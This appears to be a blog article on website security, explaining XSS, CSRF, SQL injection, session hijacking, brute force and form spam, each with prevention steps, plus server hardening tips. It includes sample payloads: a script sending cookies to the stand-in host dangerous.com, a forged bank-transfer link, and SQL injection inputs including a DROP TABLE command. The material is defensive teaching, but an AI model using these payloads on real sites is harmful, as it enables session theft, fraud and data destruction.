When we talk about website security there are 2 levels of security we should consider
- Application Level Security (Secure Website Development)
- Server Level Security (Maintain a secure website)
Application Level Security:
Creating Secure Websites shows how we can meet the most important security challenges when developing websites. Some of the security challenges are mentioned below.
1. Cross Site Scripting (XSS)
Cross-site Scripting (XSS) is client-side code injection attack where a hacker/attacker can execute malicious scripts into the web application, can steal user’s cookie which can be used for impersonation. XSS is amongst the most common of web application vulnerabilities and occurs when a web application accepts unsanitized input from a user and displays output instantly.
For example user or attacker added a comment with malicious script and when it displays, it will display like
window.location=”http://dangerous.com/?cookie=” + document.cookie
How to Prevent that:
Validate and sanitize (HTML Encode, URL Encode, Removing dangerous tags data, input by the user
2. Cross-Site Request Forgery (CSRF)
Cross-Site Request Forgery (CSRF) is an attack that forces an authenticated user to execute unwanted actions on a web application without their knowledge.
For example, a banking website mybank.com is not protected against CSRF. Typical GET request to transfer amount is HTTP://mybank.com/transfer.php?receiver=PersonA&amount=$50.
An attacker can change this script to transfer $50 to their own account and can share a link via email HTTP://mybank.com/transfer.php?receiver=Attacker&amount=$50 with reading more link <a href=”HTTP://mybank.com/transfer.php?receiver=Attacker&amount=$50″>Read more</a>. So as soon as a user clicks on that link from email/text/blog and if user’s session is active in mybank.com then $50 would be transferred to Attacker.
How to Prevent that:
From Application End: Generate unique random tokens for every session request or ID when a page loads. Tokens would be checked and verified by the server on every request or form submission. Session requests having wrong tokens or duplicate tokens or missing values would be blocked.
From User end: Sign out from an application when not in use and not allowing a browser to remember passwords.
3. SQL Injection
SQL Injection (SQLI) is a common attack where the attacker can execute malicious SQL statements that control web application’s database server. This is most dangerous attack as it may destroy complete database of the application.
For example, a website A is not prevented with SQL injection then an attacker can get access of any user without login using user id and password.
For Example in login form user needs to input User Id and Password and query may run in database to validate user is
select * from users where user_id =’amit’ and password = ‘password’
So attacker may log in to amit’s account without knowing a password. The attacker will input below details in both boxes:
User Id: amit
Password: ‘ or ‘1’=’1
So query would be select * from users where user_id =’amit’ and password = ‘’ OR ‘1’ = ‘1’
As OR operator is being used and 1=1 always true so it will return details of user_id Amit and an attacker will get logged in access of amit’s account.
Even more dangerous impact could be deleting complete table or database
User Id: ‘; DROP TABLE users; /*
So query would be select * from users where user_id =’’; DROP TABLE users; /* and password = ‘password’ */—
As there is semicolon then 2 queries would be executed and second query “DROP Table users” will completely delete user table and application will break completely.
How to Prevent:
- Use Prepared Statements: The use of prepared statements with variable binding ensure that an attacker is not able to change the intent of a query, even if SQL commands are inserted by an attacker. In the example above, if an attacker were to enter the userID of Amit and password of ‘ or ‘1’=’1, the parameterized query would not be vulnerable and would instead look for a password which literally matched the entire string ‘ or ‘1’=’1
- Validate user Input: Always validate input provided by a user and escape it before putting it in a query.
- Cast User Input: If a numeric input expected from a user then cast it to INT so that nonnumeric would be removed automatically.
- Restrict Privileges: Application Database user privileges should be restricted. It should not delete database or tables.
4. Session Hijacking
Session hijacking is a type of web attack in which attacker takes advantage of the active sessions (Temporary Identification) of logged in user.
The actual user has logged in his account and then attacker steals the cookies to hijack the active session and play the role of a genuine user.
How to Prevent:
- SSL (HTTPS): Use Secure HTTP (HTTPS) so that attacker can not hijack sessions.
- Session Destroy: Destroy session automatically if no activity from user after a certain time
5. Brute Force Attack
A brute force attack is a method which is used to obtain information such as a user password or personal identification number (PIN). An attacker would be continuously using different passwords to log in to a system until it succeeds.
How to Prevent:
- Strong Password: Encourage the user to use strong passwords Alphanumeric with special characters.
- Captcha: Ask a user to enter captcha answer if a user fails login 3-4 times.
- Lock Account: Lock user account for some time if login is failed multiple times.
6. Web Form Spam
Web form spam is common attack by which attacker submits forms using Bots/Script to get more backlinks of their website. A form would be submitted thousand times by the Robot.
How to Prevent:
- Track Form Render and submission time: If form renders and submission time is too fast then it might be from script/bot
- Hidden Text box: Add a textbox in form with class required and hide it from CSS. A human cannot add data on that box as it is not visible but script may think that it is required field & add data. If data is added to that field then definitely it is script and does not store that data.
- Use Captcha: Use captcha so that script cannot read and submit a form.
Server Level Security:
- Keep plugin / CMS up to date: It is really important to update your site as soon as a new plugin or CMS version is available.
- URL & Password: Keep Admin URL different and something hard to guess instead of www.website.com/admin. Admin, Database, Server password should be strong and IP restricted.
- Access and Permission: It’s important that every user has the appropriate permission they need to do their job. If they need permissions temporarily, grant it, then change it once the job is complete. Double check what user/resources (Directories, files) has what access and permission. Restrict permissions based on access.
- Change Default CMS Settings: Many attacks happen on the default settings being used. We can avoid a large number of attacks by changing the default settings when installing CMS.
- Server Configuration: We should know our web server configuration files. Apache web servers use the .htaccess file, Nginx servers use nginx.conf and Microsoft IIS servers use web.config. These files are very powerful. These files allow us to execute server rules that compromise website security.
- Install SSL: SSL is important for website security and any website that accepts form submissions with sensitive user data. The SSL certificate protects visitor’s information in transit which protects us from noncompliant with PCI DSS.
- Back Up: Always back up a site so that we can recover our site even though it is being hacked or security compromised.